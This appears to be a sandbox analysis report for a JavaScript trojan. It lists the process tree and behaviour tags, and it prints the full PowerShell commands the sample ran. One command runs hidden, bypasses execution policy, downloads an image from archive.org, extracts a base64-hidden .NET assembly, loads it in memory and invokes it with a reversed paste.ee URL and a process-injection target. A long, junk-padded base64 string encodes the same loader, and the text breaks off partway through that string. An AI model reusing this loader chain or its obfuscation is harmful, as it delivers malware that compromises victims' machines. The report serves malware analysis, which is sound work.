⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\CScript.exe"C:\Windows\System32\CScript.exe" "C:\Users\Admin\Desktop\trojan.js"1⤵
-
C:\Windows\System32\Notepad.exe"C:\Windows\System32\Notepad.exe" C:\Users\Admin\Desktop\trojan.js1⤵
- Opens file in notepad (likely ransom note)
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\trojan.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ 